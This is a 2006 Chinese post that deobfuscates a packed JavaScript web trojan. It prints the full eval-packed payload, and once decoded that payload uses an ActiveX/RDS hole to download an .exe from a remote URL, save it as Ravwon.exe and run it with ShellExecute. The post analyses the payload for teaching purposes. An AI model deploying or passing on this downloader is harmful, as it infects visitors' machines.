这里做了一个简单的分析
首先要说明的是这个加密作者的js功底是很扎实的,应该是一个前辈级的人物,非常非常的佩服作者。
生成器应该有现成的,但 我不知道是哪个,呵呵

首先是一个总体的分析,然后给一个刚写好的演示代码来说明整个解密过程。

源代码是这样的
把我给的代码里的所有注释全部去掉就可以看到很有节奏感的代码,

CODE:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('3.4("<p>");3.4(" <m L=\\"M\\">");3.4("     N I J K");3.4("     9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4("     f 5 = 3.R(\\"T\\")");3.4("     5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4("     g=\\"D.E\\"");3.4("     f x = 5.A(g,\\"\\")");3.4("     d=\\"C\\"");3.4("     e=\\"X.\\"");3.4("     j=\\"1b\\"");3.4("     k=\\"1c\\"");3.4("     h=d&e&j&k");3.4("     i=h");3.4("     7 S = 5.8(i,\\"\\")");3.4("     S.1e = 1");3.4("     a=\\"18\\"");3.4("     x.11 a, 9, Y");3.4("     x.Z");3.4("     6=\\"16.c\\"");3.4("     7 F = 5.8(\\"15.13\\",\\"\\")");3.4("     7 b = F.14(2) ");3.4("     6= F.10(b,6)");3.4("     S.n");3.4("     S.1f x.19");3.4("     S.17 6,2");3.4("     S.1a");3.4("     7 Q = 5.8(\\"G.B\\",\\"\\")");3.4("     Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4("     <\\/m>");3.4("     <o>");3.4("     <l>1g 1h 1d<\\/l>");3.4("     <\\/o><q>");3.4("     <r><\\/r>");3.4("     <\\/q><\\/p>")',62,80,'|||document|writeln|df|fname1|set|createobject|dl|str6|tmp|exe|a1|a2|Set|str|str1|str5|a3|a4|title|script|open|head|html|body|center|65A3|11D0|983A|classid|clsid||BD96C556|00C04FC29E36|CreateObject|Application|Ado|Microsoft|XMLHTTP||Shell|setAttribute|error|resume|next|language|VBScript|on|http|go||createElement||object|www|baidu|com|db|False|Send|BuildPath|Open|ShellExecute|FileSystemObject|GetSpecialFolder|Scripting|Ravwon|savetofile|GET|responseBody|close|Str|eam|hacker|type|write|fuck|all'.split('|'),0,{}))


再对想分析这个代码的读者罗嗦下就是:作者用了很多的简写和“花指令”,大家分析的时候要仔细“品”一下,呵呵
首先可以看到代码的结构为 eval( a_function( par1 , par2.. ) );
就是用一个“解密”函数 生成正确的代码,然后用eval激活执行。
这个解密函数拿出来就是:
CODE:

function decode(p,a,c,k,e,d)
{e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){
while(c--)d[e(c)]=k[c]||e(c);
k=[function(e){return d[e]}];
e=function(){return'\\w+'};
c=1;};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p;}

实现的功能就是 生成一个替换表,将密文中的对应字母替换为一个对应的单词。
下面是我给出的演示代码,因为里面已经有很多注释了,我也不再多说。
将代码复制并保存为htm文件直接打开就能看到演示。
推荐用一个带有代码颜色区分显示功能的编辑器【EditPlus或UEdit等】查看下面的代码。
CODE:

<body style="font-size:12px;">
这里演示一下替换关系。<br>
以下为原始的字串<br>
<textarea cols=120 rows=8>
3.4("<p>");3.4(" <m L=\\"M\\">");3.4("     N I J K");3.4("     9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4("     f 5 = 3.R(\\"T\\")");3.4("     5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4("     g=\\"D.E\\"");3.4("     f x = 5.A(g,\\"\\")");3.4("     d=\\"C\\"");3.4("     e=\\"X.\\"");3.4("     j=\\"1b\\"");3.4("     k=\\"1c\\"");3.4("     h=d&e&j&k");3.4("     i=h");3.4("     7 S = 5.8(i,\\"\\")");3.4("     S.1e = 1");3.4("     a=\\"18\\"");3.4("     x.11 a, 9, Y");3.4("     x.Z");3.4("     6=\\"16.c\\"");3.4("     7 F = 5.8(\\"15.13\\",\\"\\")");3.4("     7 b = F.14(2) ");3.4("     6= F.10(b,6)");3.4("     S.n");3.4("     S.1f x.19");3.4("     S.17 6,2");3.4("     S.1a");3.4("     7 Q = 5.8(\\"G.B\\",\\"\\")");3.4("     Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4("     <\\/m>");3.4("     <o>");3.4("     <l>1g 1h 1d<\\/l>");3.4("     <\\/o><q>");3.4("     <r><\\/r>");3.4("     <\\/q><\\/p>")</textarea><br>
以下开始用js生成一个代换表,将上表中对应的字母替换为单词:<br>
<script>
var result;

function f(p,a,c,k,e,d)
{
//c=关键词数量
//a=与映射表有关
//k=关键词数组
//p=密文
//e,d=空
    e=function(c)
      {return (c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
    //*这里做了一个c的映射函数,从数字映射到ascii字符。0~35 -> 0~z; 35~61 -> A~Z; 62~97 -> 10~1z ...

    while(c--)d[e(c)]=k[c]||e(c); //*
    //再次映射 字母 -> 单词 ,

    //k=[function(e){return d[e]}]; //相当于k[0]=function(e){return d[e]};
    //e=function(){return'\\w+'};
    //c=1;
    //while(c--)
      //{if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); //k[c]是一个函数
      //其实上面的东西都是用来让我们犯糊涂的好方法,精简后代码如下
      c=0;
      //p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); //做正则替换
      p=p.replace(/\b\w+\b/g,function(e){return d[e]});
      //下面的代码是我自己加的,仅为了演示用
      result=p;
      document.write("<textarea cols=120 rows=13>")
      for (key in d) //显示映射表的所有表项
          {     document.write(key+" => "+d[key]+"\n");     }
      document.write("</textarea><br>")
    //}
}


f('3.4("<p>");3.4(" <m L=\\"M\\">");3.4("     N I J K");3.4("     9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4("     f 5 = 3.R(\\"T\\")");3.4("     5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4("     g=\\"D.E\\"");3.4("     f x = 5.A(g,\\"\\")");3.4("     d=\\"C\\"");3.4("     e=\\"X.\\"");3.4("     j=\\"1b\\"");3.4("     k=\\"1c\\"");3.4("     h=d&e&j&k");3.4("     i=h");3.4("     7 S = 5.8(i,\\"\\")");3.4("     S.1e = 1");3.4("     a=\\"18\\"");3.4("     x.11 a, 9, Y");3.4("     x.Z");3.4("     6=\\"16.c\\"");3.4("     7 F = 5.8(\\"15.13\\",\\"\\")");3.4("     7 b = F.14(2) ");3.4("     6= F.10(b,6)");3.4("     S.n");3.4("     S.1f x.19");3.4("     S.17 6,2");3.4("     S.1a");3.4("     7 Q = 5.8(\\"G.B\\",\\"\\")");3.4("     Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4("     <\\/m>");3.4("     <o>");3.4("     <l>1g 1h 1d<\\/l>");3.4("     <\\/o><q>");3.4("     <r><\\/r>");3.4("     <\\/q><\\/p>")',62,80,'|||document|writeln|df|fname1|set|createobject|dl|str6|tmp|exe|a1|a2|Set|str|str1|str5|a3|a4|title|script|open|head|html|body|center|65A3|11D0|983A|classid|clsid||BD96C556|00C04FC29E36|CreateObject|Application|Ado|Microsoft|XMLHTTP||Shell|setAttribute|error|resume|next|language|VBScript|on|http|go||createElement||object|www|baidu|com|db|False|Send|BuildPath|Open|ShellExecute|FileSystemObject|GetSpecialFolder|Scripting|Ravwon|savetofile|GET|responseBody|close|Str|eam|hacker|type|write|fuck|all'.split('|'),0,{});
document.write("<br>这就是替换的结果:<br><textarea cols=120 rows=16>"+result+"</textarea>");
</script>
<br><br>最后使用了eval()将以上生成的代码激活执行。<br>
你可以仔细对照原来的代码与现在的代码来体会一下作者的用意,呵呵<br>
<br><br><center><hr>虫虫 2006.9.20 制作<br>
<a href=hTtP://hI.bAidU.cOm/aNUiz target=_blank>hTtP://hI.bAidU.cOm/aNUiz</a>